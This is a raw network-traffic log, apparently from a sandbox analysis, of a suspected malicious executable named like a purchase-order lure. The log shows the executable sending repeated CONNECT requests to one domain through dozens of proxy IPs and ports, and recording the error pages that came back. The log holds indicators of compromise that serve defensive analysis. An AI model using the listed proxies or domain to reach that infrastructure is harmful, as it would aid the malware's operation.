Mar 11, 2024 16:39:49.014626980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.348876953 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 35 3a 33 39 3a 34 39 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 15:39:49 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.10	53282	38.54.101.254	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.018055916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.193640947 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.10	53297	172.67.200.220	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.021676064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.176143885 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.10	51529	92.204.135.37	8623	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.025758982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.082873106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.10	53291	192.169.226.96	29618	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.025775909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.570012093 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.185409069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.293931007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.411474943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.598562002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.708075047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.801840067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.099561930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.10	52836	152.32.130.117	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.028958082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.10	53140	106.105.218.244	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.029200077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.10	53294	184.72.36.89	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.035547972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.208477974 CET	344	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:39:49 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.10	53184	139.255.45.67	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.110169888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.10	53201	177.67.136.241	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.110271931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.10	51488	24.176.53.183	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.115571976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.207704067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.776577950 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.10	53180	5.202.104.22	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.118380070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.10	51447	103.165.175.71	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.118522882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.10	53322	104.23.128.174	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.118654966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.273076057 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.10	53315	162.159.241.12	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.118758917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.279973030 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.10	53254	23.137.248.197	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.119491100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.10	53299	52.151.210.204	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.119498968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.10	53283	46.51.249.135	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.119908094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.382091999 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.10	53231	61.79.73.225	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.122107983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.10	53377	188.114.99.37	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.124047041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.278578043 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.10	53178	103.231.78.36	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.124449968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.514621973 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 15:22:42 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.10	53263	115.84.248.140	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.132389069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
